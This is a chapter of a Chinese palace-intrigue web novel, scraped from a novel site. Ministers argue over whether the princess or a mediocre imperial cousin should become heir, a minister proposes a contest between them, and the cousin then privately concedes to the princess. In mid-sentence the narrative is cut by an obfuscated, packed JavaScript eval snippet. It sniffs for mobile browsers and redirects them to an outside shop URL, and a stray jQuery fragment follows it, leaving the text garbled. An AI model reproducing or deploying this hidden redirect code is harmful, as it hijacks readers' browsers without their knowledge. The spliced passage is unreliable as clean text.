文趣网 > 其他小说 > 永徽曲 > 92.结局中
    谢是言背过身,双手交叠于腹前,淡淡道:“公主殿下受万民供养,本当如此,这也说明不了什么。”

    对上谢是言,左钰心里有些发怵,却还是语带激动的反驳:“中书令大人此言差......矣,哪里......有那么多的应当,自古以来,受万民供养的人多了,除了昭阳公主殿下......还有几人能做到这地步?”

    谢是言却不再接话,弄的左钰讪讪的,一时间,脸涨的通红。

    一新授女官看不下去,出来帮腔:“公主殿下的德行不是三言两语能说完的。”

    “殿下倾力兴办鸿蒙学院,打破世俗偏见,让万千寒门女子得以脱离愚钝、识字知礼,如今无数女子可凭学识立身、凭手艺谋生。”

    “公主此举,造福天下女子,恩泽遍及四海万民,微臣便是实实在在的例子,正因为有殿下,才有无数个像微臣这样普通女子的今天。”

    两方言论在大殿之中激烈交锋,却始终无人能彻底说服对方。

    圣人端坐高位,看不出喜怒。他沉默良久,指尖轻轻摩挲着御座扶手,群臣渐渐都收了声,屏息立于殿下。

    圣人缓缓开口,似带着几分为难:“此事事关国本,非同小可,待退朝后,中书省留下再议此事。”

    *

    两仪殿。

    御座之上,圣人眉头微蹙,似是有些头疼:“爱卿们都是大靖的肱骨之臣,说说吧。”

    几人互相看看,面面相觑,谁也不想先冒这个头,最后,还是一位年迈的中书侍郎小心的开了口:“陛下,微臣之见,立储当循宗室正统,优先皇族近支男嗣,方合祖制。”

    另一人插言道:“如今与圣人血脉相近的亲王中,安王府失德已处置,庆王世子谋反已定罪,只待过了正月处以绞刑;蜀王勾结吐蕃二王子意图不轨,圣人格外开恩只处置蜀王,留着蜀王府,蜀王府只剩个空架子,哪里还有继承大统的资格,如今适合的只有一个闽王世子了,但其与圣人血脉相对以上几家稍远不说,其本人亦顽劣不堪,如何能承继大统?”

    中书侍郎思付片刻,仍坚持道:“闵王世子李辉虽然顽劣,但是是因为缺乏引导,若是有太傅等人好好教导,未必不可成材。虽然血脉远了些,但亦是李家子孙,祖制不可废,国祚不可断,若无更佳人选,立闽王世子亦无不可。”

    话音落地,殿内寂静一瞬,随即激烈的争论起来。

    那李辉资质平平,文不成武不就,平日在京中更是毫无建树,不过是个安稳度日的平庸宗室子弟。这般庸人,若是寻常世子尚且无碍,可若被推上储君之位,日后何以执掌大靖江山?何以震慑百官、镇抚天下?

    前一阵子还因给昭阳公主送男宠被人参哪,这样的人如何能承继大统。

    只是几人虽然心有不满,却也知道,实在是扒拉来扒拉去,没人了!

    剩下的都是血脉太远的,皇家玉碟要往上翻好几代才能追溯出一个祖宗!

    圣人被下面吵的不耐到极点,猛的拍了一下面前的龙案,下面立时噤了声。

    “这也不行,那也不妥!难道我大靖李氏百年基业、万里江山,当真要就此断绝传承不成?!”

    “朕要你们一个个的何用?!”

    帝王的盛怒之下,几位大臣尽数垂首,噤若寒蝉。

    圣人揉了揉太阳穴,深吸一口气,似强压下心头怒火:“事已至此,别无选择。便立闽王世子李辉为储君吧!”

    几位老臣一听,吓的连忙跪倒,求圣人三思。

    “陛下”,谢是言道:“臣有一提议。”

    几人的目光瞬间齐聚其身,刚才力阻公主为储的是你,现在阻拦陛下立别人的还是你,你丫的倒底想干啥?

    谢是言似毫无所觉:“若论嫡庶正统、血脉亲疏、尊卑次序,公主乃是陛下与皇后娘娘唯一嫡出,身份尊贵无双,本是最合情理、最配承继大统之人。朝堂内外,亦有不少臣僚百姓,认可公主之才德。”

    “只是古往今来,储君皆为男子,女子为储,终究违逆千年祖制,朝野非议不绝,恐难服众,隐患无穷。”

    “反观闽王世子,其为李氏男嗣,合祖制、顺宗法,奈何天资平庸,无治国理政之能,若强行立此人为储,日后江山社稷恐难安稳,亦是陛下与天下万民之憾。”

    谢是言说的不慌不忙,几位大臣的目光都快将他凌迟了。心思你在这装什么大尾巴狼呢?

    好话赖话都让你说了。

    “故此臣斗胆提议,不如取更公平之道。请陛下下旨,令公主与闽王世子二人公开比试一番,较量才学、理政、格局、胆识等方面。”

    “二人之中,谁的才德更盛、格局更高、更堪大任,便立谁为储君。兴许闽王世子也有潜力也未可知,如此便上合天心,下服众望,亦可堵尽天下悠悠众口!”

    此言一出,几位大臣你看看我,我看看你,都像是吃了哑药。

    虽觉不妥,但此时此刻死脑子却想不出更稳妥、周全的法子。

    圣人的怒火稍稍平息,似是在认真考虑谢是言的提议。

    半晌,他突然看向一直沉默不语的萧太傅:“太傅以为如何?”

    萧太傅扫了一眼垂首立着的谢是言,暗自腹诽,狐狸尾巴终于露出来了吗?

    女子为储,自古以来从未有之,若是谢是言不出来拦一下,以自己为守的守旧派也必然不会轻易答应。

    就算守旧派一时答应了,但他们放弃的轻易,以后就更容易后悔,始终是隐患。

    于是谢是言挡在了前面。

    他表面上反对昭阳公主为储,实侧借着他的反驳,将昭阳公主的人心向背和德行功绩在满殿文武面前一点点的展现。

    如果他被反驳下去,那做为冲在最前面反对公主为储的他已经被击倒了,可见明公主已得到大部分朝臣和百姓的支持,反对派气势再难卷土重来。

    如果他没被击倒,那他等的就是这个时机,虽然他提出让公主与人比试,却也是将公主放在了储君的唯二人选上。

    众人在不知不觉间,都被圈进了这个逻辑里,好似天下只有这两人有资格为储君一样,再难跳出这个逻辑悖论中。

    说到比试,萧太傅心中明镜一般:李辉平庸无能,是朝野皆知的事实,根本经不起半点正经比试。

    谢是言看似抛出公平对决的法子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945140|203293||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,实则是借着这场比试,不动声色又名正言顺的将李辉淘汰掉,还顺便再次展示了公主的能力。

    最精妙的是,他全程言辞公允,句句以江山社稷为由,无人能挑出半分错处,落得一身为公的美名,却与圣人你一言我一语的,悄悄扭转了整个朝局。

    这就是年纪轻轻便为文臣之首的实力吗?

    萧太傅心中暗暗苦笑,当真是长江后浪推前浪啊。

    “老臣同意谢相公之言。”

    圣人笑道:“朕一向听太傅的话,既如此,那便令二人比试,由礼部出题,从德行、策论、文才、治国等方面考核二人,各方面优胜者立为储君。”

    *

    消息由内侍一路传到闽王在长安的府邸时,李辉正倚在廊下翻一卷闲书,听见来报,手里的书卷 “啪嗒” 落在地上,整个人都懵了。

    他原以为宗室储位之争,安、庆、永、蜀几王轮番登场,怎么也轮不到他这个没背景、血脉远的闽王世子头上。

    万万没想到,这里面还有他的事呢?

    还要与皇姐同台较量,争夺储君之位?

    李辉打了个寒战。

    做为一个好弟弟,李辉不需要多优秀,但胜在心思机敏,转瞬便把前因后果想了个明明白白。

    这是拿他做踏板呢。

    他公主皇姐登基之路上的踏板!

    他不冤!

    想通这一层,李辉心态很快轻松下来。

    他立即备了份厚礼,连夜登门去了公主府。

    见到李宣,李辉笑的极为真切:“皇姐,此番圣人如此安排,弟弟心里门清。”

    “往后弟弟就指望着皇姐了。”

    李宣被他这样子逗笑了。

    虽然知道此人有些小聪明,如今看来,倒是小看他了,分得清局势,摆得正自身位置,比那些看不清形势、一味贪恋权位的宗室子弟强上太多。

    倒也不与他说那些客套的:“你想怎么指望啊?”

    李辉的语气带着几分少年人的窘迫,小声央求:“皇姐,弟弟这还有真有一事。”

    他脸色难得的红了几分:“裴清妹妹跟天仙一样,弟弟打小就喜欢她,自从她这次回来,我屡屡寻机会想见她,可她不怎么搭理我。裴清妹妹最听堂姐的话,可否帮我牵牵线?”

    李宣愣了愣,随即摇头失笑。

    “你倒是敢想,只是别的好说,这个却不行。那丫头性子最是特别,等闲本宫也不敢招她。”

    “换个别的吧?”

    李辉踌躇片刻,终究摇了摇头:“弟弟衣食无忧,也算是个富贵闲人,满足的很,除了这个,暂时也别无他求了。”

    李宣收回了看他的目光。

    所谓的给他和裴清牵线,只怕是他随意找的由头。明明他自己毫无胜算,却借机让自己欠了他一个人情。

    未来帝王的人情啊......

    他倒是敢赌。

    若是他面对的是个格局小的,只不定成事之后第一个便拿他开刀。

    但是他赌赢了。

    她轻笑道:“放心吧,不管怎么样,今日你来与本宫说这些,本宫便承你的情。”